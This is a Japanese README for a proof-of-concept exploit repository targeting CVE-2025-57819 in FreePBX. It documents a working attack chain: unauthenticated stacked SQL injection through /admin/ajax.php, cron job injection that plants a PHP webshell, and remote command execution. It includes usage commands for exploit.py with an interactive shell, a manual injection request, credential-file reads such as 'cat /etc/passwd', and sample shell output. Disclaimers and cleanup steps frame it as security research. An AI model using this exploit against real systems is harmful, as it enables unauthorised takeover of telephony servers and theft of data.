
FreePBX 未認証SQLインジェクションによるリモートコード実行。FreePBX 15 (15.0.66 未満)、16 (16.0.89 未満)、17 (17.0.3 未満) が影響を受けます。この脆弱性は商用化された「endpoint」モジュールに存在し、ユーザー入力のフィルタリングが不十分なため、未認証の攻撃者が管理者権限をバイパスしてSQLインジェクションを実行し、最終的にリモートコード実行を達成することが可能です。
CVE-2025-57819 は、FreePBX における深刻な SQL インジェクション脆弱性であり、認証されていない攻撃者が SQL インジェクションと cron ジョブインジェクションを連鎖させることでリモートコード実行を達成できるようにします。
⚠️ 免責事項: このリポジトリは、許可されたセキュリティテストおよび教育目的のみで提供されます。所有していない、または明示的なテスト許可を得ていないシステムに対する本エクスプロイトの無断使用は違法です。作者は、誤用や損害について一切の責任を負いません。
| 項目 | 詳細 |
|---|---|
| CVE | CVE-2025-57819 |
| 影響を受ける製品 | FreePBX(認証前) |
| 脆弱性の種類 | SQLインジェクション(スタックドクエリ) |
| 影響 | リモートコード実行(RCE) |
| 攻撃ベクター | ネットワーク(HTTP GET) |
| 認証の必要性 | ❌ 不要 |
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection │
│ POST /admin/ajax.php?brand= → stacked query │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection │
│ Malicious cron job writes base64-decoded PHP webshell │
│ to /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access │
│ GET /shell.php?cmd=<command> → arbitrary code execution │
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php エンドポイントは brand パラメータを適切なサニタイズなしで処理するため、スタックドSQLクエリが可能になります。INSERT INTO cron_jobs ステートメントを注入し、毎分悪意のあるコマンドが実行されるようスケジュールします。# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Install dependency
pip install requests
# Basic usage
python exploit.py <target>
# Drop into interactive shell after injection
python exploit.py <target> --shell
# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target target hostname or IP (with optional scheme)
options:
-h, --help show this help message and exit
-p, --port PORT port (default: 80/443)
--shell drop into interactive shell after injection
--cmd CMD execute a single command via the webshell
--param PARAM webshell query-string parameter (default: cmd)
--no-wait skip the webshell-verification poll
-v, -vv increase verbosity (-v info, -vv debug)
# Target with default HTTP port
python exploit.py connected.htb
# Target with custom port
python exploit.py 10.10.11.100 -p 8080
# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell
# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"
# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"
# Verbose output for debugging
python exploit.py connected.htb -vv --shell
--shell を使用すると、スクリプトは擬似ターミナルに切り替わります:
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
exit(または Ctrl-C、Ctrl-D)を入力するとセッションを終了します。
手動で行う場合、エクスプロイトは次の3つのことを行います:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
注入されたcronジョブ(* * * * *)は毎分実行され、ウェブシェルを書き込みます。
GET /shell.php?cmd=id
テスト後、ウェブシェルとcronジョブのエントリを削除します:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
その後、ファイルシステムから /var/www/html/shell.php を削除します。
/admin/ajax.php にアクセス可能なシステムこのプロジェクトは、教育および防御的なセキュリティ研究のみを目的として提供されています。本ドキュメント冒頭の免責事項を参照してください。